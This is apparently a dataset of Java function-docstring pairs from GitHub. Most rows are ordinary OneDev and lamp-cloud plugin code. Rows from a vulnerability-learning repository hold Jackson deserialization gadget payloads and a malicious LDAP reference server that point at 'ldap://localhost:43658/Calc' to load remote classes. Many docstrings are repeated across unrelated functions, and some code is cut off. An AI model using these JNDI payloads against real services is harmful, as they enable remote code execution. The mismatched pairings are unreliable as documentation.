code
stringlengths
23
201k
docstring
stringlengths
17
96.2k
func_name
stringlengths
0
235
language
stringclasses
1 value
repo
stringlengths
8
72
path
stringlengths
11
317
url
stringlengths
57
377
license
stringclasses
7 values
@Override public Class<?> getAbstractClass() { return PublishReportStep.class; }
NOTE: Do not forget to rename moduleClass property defined in the pom if you've renamed this class.
getAbstractClass
java
theonedev/onedev
server-plugin/server-plugin-report-pylint/src/main/java/io/onedev/server/plugin/report/pylint/PylintModule.java
https://github.com/theonedev/onedev/blob/master/server-plugin/server-plugin-report-pylint/src/main/java/io/onedev/server/plugin/report/pylint/PylintModule.java
MIT
@Override public Collection<Class<?>> getImplementations() { return Sets.newHashSet(PublishPylintReportStep.class); }
NOTE: Do not forget to rename moduleClass property defined in the pom if you've renamed this class.
getImplementations
java
theonedev/onedev
server-plugin/server-plugin-report-pylint/src/main/java/io/onedev/server/plugin/report/pylint/PylintModule.java
https://github.com/theonedev/onedev/blob/master/server-plugin/server-plugin-report-pylint/src/main/java/io/onedev/server/plugin/report/pylint/PylintModule.java
MIT
@Override protected void configure() { super.configure(); contribute(ImplementationProvider.class, new ImplementationProvider() { @Override public Class<?> getAbstractClass() { return PublishReportStep.class; } @Override public Collection<Class<?>> getImplementations() { return Sets....
NOTE: Do not forget to rename moduleClass property defined in the pom if you've renamed this class.
configure
java
theonedev/onedev
server-plugin/server-plugin-report-roslynator/src/main/java/io/onedev/server/plugin/report/roslynator/RoslynatorModule.java
https://github.com/theonedev/onedev/blob/master/server-plugin/server-plugin-report-roslynator/src/main/java/io/onedev/server/plugin/report/roslynator/RoslynatorModule.java
MIT
@Override public Class<?> getAbstractClass() { return PublishReportStep.class; }
NOTE: Do not forget to rename moduleClass property defined in the pom if you've renamed this class.
getAbstractClass
java
theonedev/onedev
server-plugin/server-plugin-report-roslynator/src/main/java/io/onedev/server/plugin/report/roslynator/RoslynatorModule.java
https://github.com/theonedev/onedev/blob/master/server-plugin/server-plugin-report-roslynator/src/main/java/io/onedev/server/plugin/report/roslynator/RoslynatorModule.java
MIT
@Override public Collection<Class<?>> getImplementations() { return Sets.newHashSet(PublishRoslynatorReportStep.class); }
NOTE: Do not forget to rename moduleClass property defined in the pom if you've renamed this class.
getImplementations
java
theonedev/onedev
server-plugin/server-plugin-report-roslynator/src/main/java/io/onedev/server/plugin/report/roslynator/RoslynatorModule.java
https://github.com/theonedev/onedev/blob/master/server-plugin/server-plugin-report-roslynator/src/main/java/io/onedev/server/plugin/report/roslynator/RoslynatorModule.java
MIT
@Override protected void configure() { super.configure(); // put your guice bindings here contribute(ImplementationProvider.class, new ImplementationProvider() { @Override public Class<?> getAbstractClass() { return PublishReportStep.class; } @Override public Collection<Class<?>> ge...
NOTE: Do not forget to rename moduleClass property defined in the pom if you've renamed this class.
configure
java
theonedev/onedev
server-plugin/server-plugin-report-ruff/src/main/java/io/onedev/server/plugin/report/ruff/RuffModule.java
https://github.com/theonedev/onedev/blob/master/server-plugin/server-plugin-report-ruff/src/main/java/io/onedev/server/plugin/report/ruff/RuffModule.java
MIT
@Override public Class<?> getAbstractClass() { return PublishReportStep.class; }
NOTE: Do not forget to rename moduleClass property defined in the pom if you've renamed this class.
getAbstractClass
java
theonedev/onedev
server-plugin/server-plugin-report-ruff/src/main/java/io/onedev/server/plugin/report/ruff/RuffModule.java
https://github.com/theonedev/onedev/blob/master/server-plugin/server-plugin-report-ruff/src/main/java/io/onedev/server/plugin/report/ruff/RuffModule.java
MIT
@Override public Collection<Class<?>> getImplementations() { return Sets.newHashSet(PublishRuffReportStep.class); }
NOTE: Do not forget to rename moduleClass property defined in the pom if you've renamed this class.
getImplementations
java
theonedev/onedev
server-plugin/server-plugin-report-ruff/src/main/java/io/onedev/server/plugin/report/ruff/RuffModule.java
https://github.com/theonedev/onedev/blob/master/server-plugin/server-plugin-report-ruff/src/main/java/io/onedev/server/plugin/report/ruff/RuffModule.java
MIT
@Override protected void configure() { super.configure(); // put your guice bindings here contribute(ImplementationProvider.class, new ImplementationProvider() { @Override public Class<?> getAbstractClass() { return PublishReportStep.class; } @Override public Collection<Class<?>> getIm...
NOTE: Do not forget to rename moduleClass property defined in the pom if you've renamed this class.
configure
java
theonedev/onedev
server-plugin/server-plugin-report-spotbugs/src/main/java/io/onedev/server/plugin/report/spotbugs/SpotBugsModule.java
https://github.com/theonedev/onedev/blob/master/server-plugin/server-plugin-report-spotbugs/src/main/java/io/onedev/server/plugin/report/spotbugs/SpotBugsModule.java
MIT
@Override public Class<?> getAbstractClass() { return PublishReportStep.class; }
NOTE: Do not forget to rename moduleClass property defined in the pom if you've renamed this class.
getAbstractClass
java
theonedev/onedev
server-plugin/server-plugin-report-spotbugs/src/main/java/io/onedev/server/plugin/report/spotbugs/SpotBugsModule.java
https://github.com/theonedev/onedev/blob/master/server-plugin/server-plugin-report-spotbugs/src/main/java/io/onedev/server/plugin/report/spotbugs/SpotBugsModule.java
MIT
@Override public Collection<Class<?>> getImplementations() { return Sets.newHashSet(PublishSpotBugsReportStep.class); }
NOTE: Do not forget to rename moduleClass property defined in the pom if you've renamed this class.
getImplementations
java
theonedev/onedev
server-plugin/server-plugin-report-spotbugs/src/main/java/io/onedev/server/plugin/report/spotbugs/SpotBugsModule.java
https://github.com/theonedev/onedev/blob/master/server-plugin/server-plugin-report-spotbugs/src/main/java/io/onedev/server/plugin/report/spotbugs/SpotBugsModule.java
MIT
@Override protected void configure() { super.configure(); contribute(ImplementationProvider.class, new ImplementationProvider() { @Override public Class<?> getAbstractClass() { return PublishReportStep.class; } @Override public Collection<Class<?>> getImplementations() { return Sets....
NOTE: Do not forget to rename moduleClass property defined in the pom if you've renamed this class.
configure
java
theonedev/onedev
server-plugin/server-plugin-report-trx/src/main/java/io/onedev/server/plugin/report/trx/TRXModule.java
https://github.com/theonedev/onedev/blob/master/server-plugin/server-plugin-report-trx/src/main/java/io/onedev/server/plugin/report/trx/TRXModule.java
MIT
@Override public Class<?> getAbstractClass() { return PublishReportStep.class; }
NOTE: Do not forget to rename moduleClass property defined in the pom if you've renamed this class.
getAbstractClass
java
theonedev/onedev
server-plugin/server-plugin-report-trx/src/main/java/io/onedev/server/plugin/report/trx/TRXModule.java
https://github.com/theonedev/onedev/blob/master/server-plugin/server-plugin-report-trx/src/main/java/io/onedev/server/plugin/report/trx/TRXModule.java
MIT
@Override public Collection<Class<?>> getImplementations() { return Sets.newHashSet(PublishTRXReportStep.class); }
NOTE: Do not forget to rename moduleClass property defined in the pom if you've renamed this class.
getImplementations
java
theonedev/onedev
server-plugin/server-plugin-report-trx/src/main/java/io/onedev/server/plugin/report/trx/TRXModule.java
https://github.com/theonedev/onedev/blob/master/server-plugin/server-plugin-report-trx/src/main/java/io/onedev/server/plugin/report/trx/TRXModule.java
MIT
@Override protected void configure() { super.configure(); contribute(BuildTabContribution.class, new BuildTabContribution() { @Override public List<BuildTab> getTabs(Build build) { Long projectId = build.getProject().getId(); Long buildNumber = build.getNumber(); return getProjectMana...
NOTE: Do not forget to rename moduleClass property defined in the pom if you've renamed this class.
configure
java
theonedev/onedev
server-plugin/server-plugin-report-unittest/src/main/java/io/onedev/server/plugin/report/unittest/UnitTestModule.java
https://github.com/theonedev/onedev/blob/master/server-plugin/server-plugin-report-unittest/src/main/java/io/onedev/server/plugin/report/unittest/UnitTestModule.java
MIT
@Override public List<BuildTab> getTabs(Build build) { Long projectId = build.getProject().getId(); Long buildNumber = build.getNumber(); return getProjectManager().runOnActiveServer(projectId, new GetBuildTabs(projectId, buildNumber)).stream() .filter(it->SecurityUtils.canAccessReport(build, ...
NOTE: Do not forget to rename moduleClass property defined in the pom if you've renamed this class.
getTabs
java
theonedev/onedev
server-plugin/server-plugin-report-unittest/src/main/java/io/onedev/server/plugin/report/unittest/UnitTestModule.java
https://github.com/theonedev/onedev/blob/master/server-plugin/server-plugin-report-unittest/src/main/java/io/onedev/server/plugin/report/unittest/UnitTestModule.java
MIT
@Override public int getOrder() { return 100; }
NOTE: Do not forget to rename moduleClass property defined in the pom if you've renamed this class.
getOrder
java
theonedev/onedev
server-plugin/server-plugin-report-unittest/src/main/java/io/onedev/server/plugin/report/unittest/UnitTestModule.java
https://github.com/theonedev/onedev/blob/master/server-plugin/server-plugin-report-unittest/src/main/java/io/onedev/server/plugin/report/unittest/UnitTestModule.java
MIT
@Override public List<SidebarMenuItem> getMenuItems(Project project) { List<SidebarMenuItem> menuItems = new ArrayList<>(); if (!OneDev.getInstance(BuildMetricManager.class).getAccessibleReportNames(project, UnitTestMetric.class).isEmpty()) { PageParameters params = UnitTestStatsPage.paramsOf(project); ...
NOTE: Do not forget to rename moduleClass property defined in the pom if you've renamed this class.
getMenuItems
java
theonedev/onedev
server-plugin/server-plugin-report-unittest/src/main/java/io/onedev/server/plugin/report/unittest/UnitTestModule.java
https://github.com/theonedev/onedev/blob/master/server-plugin/server-plugin-report-unittest/src/main/java/io/onedev/server/plugin/report/unittest/UnitTestModule.java
MIT
@Override public int getOrder() { return 100; }
NOTE: Do not forget to rename moduleClass property defined in the pom if you've renamed this class.
getOrder
java
theonedev/onedev
server-plugin/server-plugin-report-unittest/src/main/java/io/onedev/server/plugin/report/unittest/UnitTestModule.java
https://github.com/theonedev/onedev/blob/master/server-plugin/server-plugin-report-unittest/src/main/java/io/onedev/server/plugin/report/unittest/UnitTestModule.java
MIT
private ProjectManager getProjectManager() { return OneDev.getInstance(ProjectManager.class); }
NOTE: Do not forget to rename moduleClass property defined in the pom if you've renamed this class.
getProjectManager
java
theonedev/onedev
server-plugin/server-plugin-report-unittest/src/main/java/io/onedev/server/plugin/report/unittest/UnitTestModule.java
https://github.com/theonedev/onedev/blob/master/server-plugin/server-plugin-report-unittest/src/main/java/io/onedev/server/plugin/report/unittest/UnitTestModule.java
MIT
@Override public List<BuildTab> call() { return read(getReportLockName(projectId, buildNumber), () -> { List<BuildTab> tabs = new ArrayList<>(); File categoryDir = new File(OneDev.getInstance(BuildManager.class).getBuildDir(projectId, buildNumber), CATEGORY); if (categoryDir.exists()) { for (File ...
NOTE: Do not forget to rename moduleClass property defined in the pom if you've renamed this class.
call
java
theonedev/onedev
server-plugin/server-plugin-report-unittest/src/main/java/io/onedev/server/plugin/report/unittest/UnitTestModule.java
https://github.com/theonedev/onedev/blob/master/server-plugin/server-plugin-report-unittest/src/main/java/io/onedev/server/plugin/report/unittest/UnitTestModule.java
MIT
@Override protected void configure() { super.configure(); // put your guice bindings here contribute(ImplementationProvider.class, new ImplementationProvider() { @Override public Class<?> getAbstractClass() { return SsoConnector.class; } @Override public Collection<Class<?>> getImplementa...
NOTE: Do not forget to rename moduleClass property defined in the pom if you've renamed this class.
configure
java
theonedev/onedev
server-plugin/server-plugin-sso-discord/src/main/java/io/onedev/server/plugin/sso/discord/DiscordModule.java
https://github.com/theonedev/onedev/blob/master/server-plugin/server-plugin-sso-discord/src/main/java/io/onedev/server/plugin/sso/discord/DiscordModule.java
MIT
@Override public Class<?> getAbstractClass() { return SsoConnector.class; }
NOTE: Do not forget to rename moduleClass property defined in the pom if you've renamed this class.
getAbstractClass
java
theonedev/onedev
server-plugin/server-plugin-sso-discord/src/main/java/io/onedev/server/plugin/sso/discord/DiscordModule.java
https://github.com/theonedev/onedev/blob/master/server-plugin/server-plugin-sso-discord/src/main/java/io/onedev/server/plugin/sso/discord/DiscordModule.java
MIT
@Override public Collection<Class<?>> getImplementations() { return Sets.newHashSet(DiscordConnector.class); }
NOTE: Do not forget to rename moduleClass property defined in the pom if you've renamed this class.
getImplementations
java
theonedev/onedev
server-plugin/server-plugin-sso-discord/src/main/java/io/onedev/server/plugin/sso/discord/DiscordModule.java
https://github.com/theonedev/onedev/blob/master/server-plugin/server-plugin-sso-discord/src/main/java/io/onedev/server/plugin/sso/discord/DiscordModule.java
MIT
@Override protected void configure() { super.configure(); // put your guice bindings here contribute(ImplementationProvider.class, new ImplementationProvider() { @Override public Class<?> getAbstractClass() { return SsoConnector.class; } @Override public Collection<Class<?>> getImplementa...
NOTE: Do not forget to rename moduleClass property defined in the pom if you've renamed this class.
configure
java
theonedev/onedev
server-plugin/server-plugin-sso-openid/src/main/java/io/onedev/server/plugin/sso/openid/OpenIdModule.java
https://github.com/theonedev/onedev/blob/master/server-plugin/server-plugin-sso-openid/src/main/java/io/onedev/server/plugin/sso/openid/OpenIdModule.java
MIT
@Override public Class<?> getAbstractClass() { return SsoConnector.class; }
NOTE: Do not forget to rename moduleClass property defined in the pom if you've renamed this class.
getAbstractClass
java
theonedev/onedev
server-plugin/server-plugin-sso-openid/src/main/java/io/onedev/server/plugin/sso/openid/OpenIdModule.java
https://github.com/theonedev/onedev/blob/master/server-plugin/server-plugin-sso-openid/src/main/java/io/onedev/server/plugin/sso/openid/OpenIdModule.java
MIT
@Override public Collection<Class<?>> getImplementations() { return Sets.newHashSet( GitHubConnector.class, EntraIdConnector.class, OpenIdConnector.class, TwitchConnector.class); }
NOTE: Do not forget to rename moduleClass property defined in the pom if you've renamed this class.
getImplementations
java
theonedev/onedev
server-plugin/server-plugin-sso-openid/src/main/java/io/onedev/server/plugin/sso/openid/OpenIdModule.java
https://github.com/theonedev/onedev/blob/master/server-plugin/server-plugin-sso-openid/src/main/java/io/onedev/server/plugin/sso/openid/OpenIdModule.java
MIT
@Override public void injectService(Object instance) { if (instance == null) { return; } if (SpringUtils.getApplicationContext() == null) { return; } Field[] fields = instance.getClass().getDeclaredFields(); for (Field field : fields) { ...
inject action of spring @param instance
injectService
java
dromara/lamp-cloud
lamp-base/lamp-base-biz/src/main/java/top/tangyh/lamp/msg/glue/impl/SpringGlueFactory.java
https://github.com/dromara/lamp-cloud/blob/master/lamp-base/lamp-base-biz/src/main/java/top/tangyh/lamp/msg/glue/impl/SpringGlueFactory.java
Apache-2.0
@Override public boolean isSuccess(MsgResult result) { SendSmsResponse sendResult = (SendSmsResponse) result.getResult(); return ArrayUtil.isNotEmpty(sendResult.getSendStatusSet()) && "Ok".equals(sendResult.getSendStatusSet()[0].getCode()); }
https://cloud.tencent.com/document/api/382/55981 @author zuihou @date 2022/7/10 0010 17:40
isSuccess
java
dromara/lamp-cloud
lamp-base/lamp-base-biz/src/main/java/top/tangyh/lamp/msg/strategy/impl/sms/TencentSmsMsgStrategyImpl.java
https://github.com/dromara/lamp-cloud/blob/master/lamp-base/lamp-base-biz/src/main/java/top/tangyh/lamp/msg/strategy/impl/sms/TencentSmsMsgStrategyImpl.java
Apache-2.0
@Override public void processSearchResult(InMemoryInterceptedSearchResult result) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch (Exception e1) { e1.printStackTrace(); } }
{@inheritDoc} @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
processSearchResult
java
threedr3am/learnjavabug
common/src/main/java/com/threedr3am/bug/common/server/LdapServer.java
https://github.com/threedr3am/learnjavabug/blob/master/common/src/main/java/com/threedr3am/bug/common/server/LdapServer.java
MIT
protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat("")); System.out.println("Send LDAP reference result for " + base + " redirecting to...
{@inheritDoc} @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
sendResult
java
threedr3am/learnjavabug
common/src/main/java/com/threedr3am/bug/common/server/LdapServer.java
https://github.com/threedr3am/learnjavabug/blob/master/common/src/main/java/com/threedr3am/bug/common/server/LdapServer.java
MIT
@Override public Object readObject(Class cl) throws IOException { return super.readObject(cl); }
Creates a new Hessian input stream, initialized with an underlying input stream. @param is the underlying input stream.
readObject
java
threedr3am/learnjavabug
dubbo/dubbo-hessian2-safe-reinforcement/learn-dubbo-client-boot/src/main/java/com/threedr3am/learn/serialize/MyHessian2Input.java
https://github.com/threedr3am/learnjavabug/blob/master/dubbo/dubbo-hessian2-safe-reinforcement/learn-dubbo-client-boot/src/main/java/com/threedr3am/learn/serialize/MyHessian2Input.java
MIT
@Override public Object readObject(Class expectedClass, Class<?>... expectedTypes) throws IOException { return super.readObject(expectedClass, expectedTypes); }
Creates a new Hessian input stream, initialized with an underlying input stream. @param is the underlying input stream.
readObject
java
threedr3am/learnjavabug
dubbo/dubbo-hessian2-safe-reinforcement/learn-dubbo-client-boot/src/main/java/com/threedr3am/learn/serialize/MyHessian2Input.java
https://github.com/threedr3am/learnjavabug/blob/master/dubbo/dubbo-hessian2-safe-reinforcement/learn-dubbo-client-boot/src/main/java/com/threedr3am/learn/serialize/MyHessian2Input.java
MIT
@Override public Object readObject() throws IOException { return super.readObject(); }
Creates a new Hessian input stream, initialized with an underlying input stream. @param is the underlying input stream.
readObject
java
threedr3am/learnjavabug
dubbo/dubbo-hessian2-safe-reinforcement/learn-dubbo-client-boot/src/main/java/com/threedr3am/learn/serialize/MyHessian2Input.java
https://github.com/threedr3am/learnjavabug/blob/master/dubbo/dubbo-hessian2-safe-reinforcement/learn-dubbo-client-boot/src/main/java/com/threedr3am/learn/serialize/MyHessian2Input.java
MIT
@Override public Object readObject(List<Class<?>> expectedTypes) throws IOException { return super.readObject(expectedTypes); }
Creates a new Hessian input stream, initialized with an underlying input stream. @param is the underlying input stream.
readObject
java
threedr3am/learnjavabug
dubbo/dubbo-hessian2-safe-reinforcement/learn-dubbo-client-boot/src/main/java/com/threedr3am/learn/serialize/MyHessian2Input.java
https://github.com/threedr3am/learnjavabug/blob/master/dubbo/dubbo-hessian2-safe-reinforcement/learn-dubbo-client-boot/src/main/java/com/threedr3am/learn/serialize/MyHessian2Input.java
MIT
void checkClassDef() { if (_classDefs.isEmpty()) return; for (Object c : _classDefs) { Field[] fields = c.getClass().getDeclaredFields(); System.out.println(); } }
Creates a new Hessian input stream, initialized with an underlying input stream. @param is the underlying input stream.
checkClassDef
java
threedr3am/learnjavabug
dubbo/dubbo-hessian2-safe-reinforcement/learn-dubbo-client-boot/src/main/java/com/threedr3am/learn/serialize/MyHessian2Input.java
https://github.com/threedr3am/learnjavabug/blob/master/dubbo/dubbo-hessian2-safe-reinforcement/learn-dubbo-client-boot/src/main/java/com/threedr3am/learn/serialize/MyHessian2Input.java
MIT
@Override public byte getContentTypeId() { return 22; }
Hessian2 serialization implementation, hessian2 is the default serialization protocol for dubbo <pre> e.g. &lt;dubbo:protocol serialization="hessian2" /&gt; </pre>
getContentTypeId
java
threedr3am/learnjavabug
dubbo/dubbo-hessian2-safe-reinforcement/learn-dubbo-client-boot/src/main/java/com/threedr3am/learn/serialize/MyHessian2Serialization.java
https://github.com/threedr3am/learnjavabug/blob/master/dubbo/dubbo-hessian2-safe-reinforcement/learn-dubbo-client-boot/src/main/java/com/threedr3am/learn/serialize/MyHessian2Serialization.java
MIT
@Override public String getContentType() { return "x-application/hessian2"; }
Hessian2 serialization implementation, hessian2 is the default serialization protocol for dubbo <pre> e.g. &lt;dubbo:protocol serialization="hessian2" /&gt; </pre>
getContentType
java
threedr3am/learnjavabug
dubbo/dubbo-hessian2-safe-reinforcement/learn-dubbo-client-boot/src/main/java/com/threedr3am/learn/serialize/MyHessian2Serialization.java
https://github.com/threedr3am/learnjavabug/blob/master/dubbo/dubbo-hessian2-safe-reinforcement/learn-dubbo-client-boot/src/main/java/com/threedr3am/learn/serialize/MyHessian2Serialization.java
MIT
@Override public ObjectOutput serialize(URL url, OutputStream out) throws IOException { return new Hessian2ObjectOutput(out); }
Hessian2 serialization implementation, hessian2 is the default serialization protocol for dubbo <pre> e.g. &lt;dubbo:protocol serialization="hessian2" /&gt; </pre>
serialize
java
threedr3am/learnjavabug
dubbo/dubbo-hessian2-safe-reinforcement/learn-dubbo-client-boot/src/main/java/com/threedr3am/learn/serialize/MyHessian2Serialization.java
https://github.com/threedr3am/learnjavabug/blob/master/dubbo/dubbo-hessian2-safe-reinforcement/learn-dubbo-client-boot/src/main/java/com/threedr3am/learn/serialize/MyHessian2Serialization.java
MIT
@Override public ObjectInput deserialize(URL url, InputStream is) throws IOException { return new MyHessian2ObjectInput(is); }
Hessian2 serialization implementation, hessian2 is the default serialization protocol for dubbo <pre> e.g. &lt;dubbo:protocol serialization="hessian2" /&gt; </pre>
deserialize
java
threedr3am/learnjavabug
dubbo/dubbo-hessian2-safe-reinforcement/learn-dubbo-client-boot/src/main/java/com/threedr3am/learn/serialize/MyHessian2Serialization.java
https://github.com/threedr3am/learnjavabug/blob/master/dubbo/dubbo-hessian2-safe-reinforcement/learn-dubbo-client-boot/src/main/java/com/threedr3am/learn/serialize/MyHessian2Serialization.java
MIT
@Override public Object readObject(Class cl) throws IOException { checkClassDef(); return super.readObject(cl); }
Creates a new Hessian input stream, initialized with an underlying input stream. @param is the underlying input stream.
readObject
java
threedr3am/learnjavabug
dubbo/dubbo-hessian2-safe-reinforcement/learn-dubbo-server-boot/src/main/java/com/threedr3am/learn/server/boot/serialize/MyHessian2Input.java
https://github.com/threedr3am/learnjavabug/blob/master/dubbo/dubbo-hessian2-safe-reinforcement/learn-dubbo-server-boot/src/main/java/com/threedr3am/learn/server/boot/serialize/MyHessian2Input.java
MIT
@Override public Object readObject(Class expectedClass, Class<?>... expectedTypes) throws IOException { checkClassDef(); return super.readObject(expectedClass, expectedTypes); }
Creates a new Hessian input stream, initialized with an underlying input stream. @param is the underlying input stream.
readObject
java
threedr3am/learnjavabug
dubbo/dubbo-hessian2-safe-reinforcement/learn-dubbo-server-boot/src/main/java/com/threedr3am/learn/server/boot/serialize/MyHessian2Input.java
https://github.com/threedr3am/learnjavabug/blob/master/dubbo/dubbo-hessian2-safe-reinforcement/learn-dubbo-server-boot/src/main/java/com/threedr3am/learn/server/boot/serialize/MyHessian2Input.java
MIT
@Override public Object readObject() throws IOException { checkClassDef(); return super.readObject(); }
Creates a new Hessian input stream, initialized with an underlying input stream. @param is the underlying input stream.
readObject
java
threedr3am/learnjavabug
dubbo/dubbo-hessian2-safe-reinforcement/learn-dubbo-server-boot/src/main/java/com/threedr3am/learn/server/boot/serialize/MyHessian2Input.java
https://github.com/threedr3am/learnjavabug/blob/master/dubbo/dubbo-hessian2-safe-reinforcement/learn-dubbo-server-boot/src/main/java/com/threedr3am/learn/server/boot/serialize/MyHessian2Input.java
MIT
@Override public Object readObject(List<Class<?>> expectedTypes) throws IOException { checkClassDef(); return super.readObject(expectedTypes); }
Creates a new Hessian input stream, initialized with an underlying input stream. @param is the underlying input stream.
readObject
java
threedr3am/learnjavabug
dubbo/dubbo-hessian2-safe-reinforcement/learn-dubbo-server-boot/src/main/java/com/threedr3am/learn/server/boot/serialize/MyHessian2Input.java
https://github.com/threedr3am/learnjavabug/blob/master/dubbo/dubbo-hessian2-safe-reinforcement/learn-dubbo-server-boot/src/main/java/com/threedr3am/learn/server/boot/serialize/MyHessian2Input.java
MIT
void checkClassDef() { if (_classDefs == null || _classDefs.isEmpty()) return; for (Object c : _classDefs) { Field[] fields = c.getClass().getDeclaredFields(); if (fields.length == 2) { fields[0].setAccessible(true); try { String type = (String) fields[0].get(c); ...
Creates a new Hessian input stream, initialized with an underlying input stream. @param is the underlying input stream.
checkClassDef
java
threedr3am/learnjavabug
dubbo/dubbo-hessian2-safe-reinforcement/learn-dubbo-server-boot/src/main/java/com/threedr3am/learn/server/boot/serialize/MyHessian2Input.java
https://github.com/threedr3am/learnjavabug/blob/master/dubbo/dubbo-hessian2-safe-reinforcement/learn-dubbo-server-boot/src/main/java/com/threedr3am/learn/server/boot/serialize/MyHessian2Input.java
MIT
@Override public byte getContentTypeId() { return 22; }
Hessian2 serialization implementation, hessian2 is the default serialization protocol for dubbo <pre> e.g. &lt;dubbo:protocol serialization="hessian2" /&gt; </pre>
getContentTypeId
java
threedr3am/learnjavabug
dubbo/dubbo-hessian2-safe-reinforcement/learn-dubbo-server-boot/src/main/java/com/threedr3am/learn/server/boot/serialize/MyHessian2Serialization.java
https://github.com/threedr3am/learnjavabug/blob/master/dubbo/dubbo-hessian2-safe-reinforcement/learn-dubbo-server-boot/src/main/java/com/threedr3am/learn/server/boot/serialize/MyHessian2Serialization.java
MIT
@Override public String getContentType() { return "x-application/hessian2"; }
Hessian2 serialization implementation, hessian2 is the default serialization protocol for dubbo <pre> e.g. &lt;dubbo:protocol serialization="hessian2" /&gt; </pre>
getContentType
java
threedr3am/learnjavabug
dubbo/dubbo-hessian2-safe-reinforcement/learn-dubbo-server-boot/src/main/java/com/threedr3am/learn/server/boot/serialize/MyHessian2Serialization.java
https://github.com/threedr3am/learnjavabug/blob/master/dubbo/dubbo-hessian2-safe-reinforcement/learn-dubbo-server-boot/src/main/java/com/threedr3am/learn/server/boot/serialize/MyHessian2Serialization.java
MIT
@Override public ObjectOutput serialize(URL url, OutputStream out) throws IOException { return new Hessian2ObjectOutput(out); }
Hessian2 serialization implementation, hessian2 is the default serialization protocol for dubbo <pre> e.g. &lt;dubbo:protocol serialization="hessian2" /&gt; </pre>
serialize
java
threedr3am/learnjavabug
dubbo/dubbo-hessian2-safe-reinforcement/learn-dubbo-server-boot/src/main/java/com/threedr3am/learn/server/boot/serialize/MyHessian2Serialization.java
https://github.com/threedr3am/learnjavabug/blob/master/dubbo/dubbo-hessian2-safe-reinforcement/learn-dubbo-server-boot/src/main/java/com/threedr3am/learn/server/boot/serialize/MyHessian2Serialization.java
MIT
@Override public ObjectInput deserialize(URL url, InputStream is) throws IOException { return new MyHessian2ObjectInput(is); }
Hessian2 serialization implementation, hessian2 is the default serialization protocol for dubbo <pre> e.g. &lt;dubbo:protocol serialization="hessian2" /&gt; </pre>
deserialize
java
threedr3am/learnjavabug
dubbo/dubbo-hessian2-safe-reinforcement/learn-dubbo-server-boot/src/main/java/com/threedr3am/learn/server/boot/serialize/MyHessian2Serialization.java
https://github.com/threedr3am/learnjavabug/blob/master/dubbo/dubbo-hessian2-safe-reinforcement/learn-dubbo-server-boot/src/main/java/com/threedr3am/learn/server/boot/serialize/MyHessian2Serialization.java
MIT
@Override public Serializer getObjectSerializer ( Class<?> cl ) throws HessianProtocolException { return super.getObjectSerializer(cl); }
{@inheritDoc} @see com.caucho.hessian.io.SerializerFactory#getObjectSerializer(java.lang.Class)
getObjectSerializer
java
threedr3am/learnjavabug
feature/src/main/java/com/threedr3am/bug/feature/HessianSerialization.java
https://github.com/threedr3am/learnjavabug/blob/master/feature/src/main/java/com/threedr3am/bug/feature/HessianSerialization.java
MIT
@Override public Serializer getSerializer ( Class cl ) throws HessianProtocolException { Serializer serializer = super.getSerializer(cl); if ( serializer instanceof WriteReplaceSerializer) { return UnsafeSerializer.create(cl); } return serializer; }
{@inheritDoc} @see com.caucho.hessian.io.SerializerFactory#getSerializer(java.lang.Class)
getSerializer
java
threedr3am/learnjavabug
feature/src/main/java/com/threedr3am/bug/feature/HessianSerialization.java
https://github.com/threedr3am/learnjavabug/blob/master/feature/src/main/java/com/threedr3am/bug/feature/HessianSerialization.java
MIT
public static void main(String[] args) throws IOException { String json = "[\"ch.qos.logback.core.db.JNDIConnectionSource\",{\"jndiLocation\":\"ldap://localhost:43658/Calc\"}]"; ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); Object o = mapper.readValue(json, Object.class); ...
logback jndi rce jackson < 2.9.9.2 CVE-2019-14439 @author threedr3am
main
java
threedr3am/learnjavabug
jackson/src/main/java/com/threedr3am/bug/jackson/rce/LogbackJndi.java
https://github.com/threedr3am/learnjavabug/blob/master/jackson/src/main/java/com/threedr3am/bug/jackson/rce/LogbackJndi.java
MIT
public static void main(String[] args) throws IOException { ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); String json = "[\"org.springframework.aop.config.MethodLocatingFactoryBean\", {\"targetBeanName\": \"ldap://localhost:43658/Calc\", \"methodName\":\"Foo\",\"beanFactory\":[\"o...
spring gadget <dependency> <groupId>org.springframework</groupId> <artifactId>spring-core</artifactId> <version>4.3.26.RELEASE</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-beans</artifactId> <version>4.3.26.RELEASE</versi...
main
java
threedr3am/learnjavabug
jackson/src/main/java/com/threedr3am/bug/jackson/rce/SpringAopPoc.java
https://github.com/threedr3am/learnjavabug/blob/master/jackson/src/main/java/com/threedr3am/bug/jackson/rce/SpringAopPoc.java
MIT
public static void main(String[] args) throws IOException { ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); String json = "[\"org.springframework.beans.factory.config.BeanReferenceFactoryBean\", {\"targetBeanName\": \"ldap://localhost:43658/Calc\",\"beanFactory\":[\"org.springframew...
spring gadget <dependency> <groupId>org.springframework</groupId> <artifactId>spring-core</artifactId> <version>4.3.26.RELEASE</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-beans</artifactId> <version>3.0.7.RELEASE</versio...
main
java
threedr3am/learnjavabug
jackson/src/main/java/com/threedr3am/bug/jackson/rce/SpringAopPoc2.java
https://github.com/threedr3am/learnjavabug/blob/master/jackson/src/main/java/com/threedr3am/bug/jackson/rce/SpringAopPoc2.java
MIT
public int getI() { return i; }
@JsonTypeInfo(use = Id.CUSTOM) @throws IOException
getI
java
threedr3am/learnjavabug
jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
https://github.com/threedr3am/learnjavabug/blob/master/jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
MIT
public void setI(int i) { this.i = i; }
@JsonTypeInfo(use = Id.CUSTOM) @throws IOException
setI
java
threedr3am/learnjavabug
jackson/src/main/java/com/threedr3am/bug/jackson/test/JsonTypeInfoTest.java
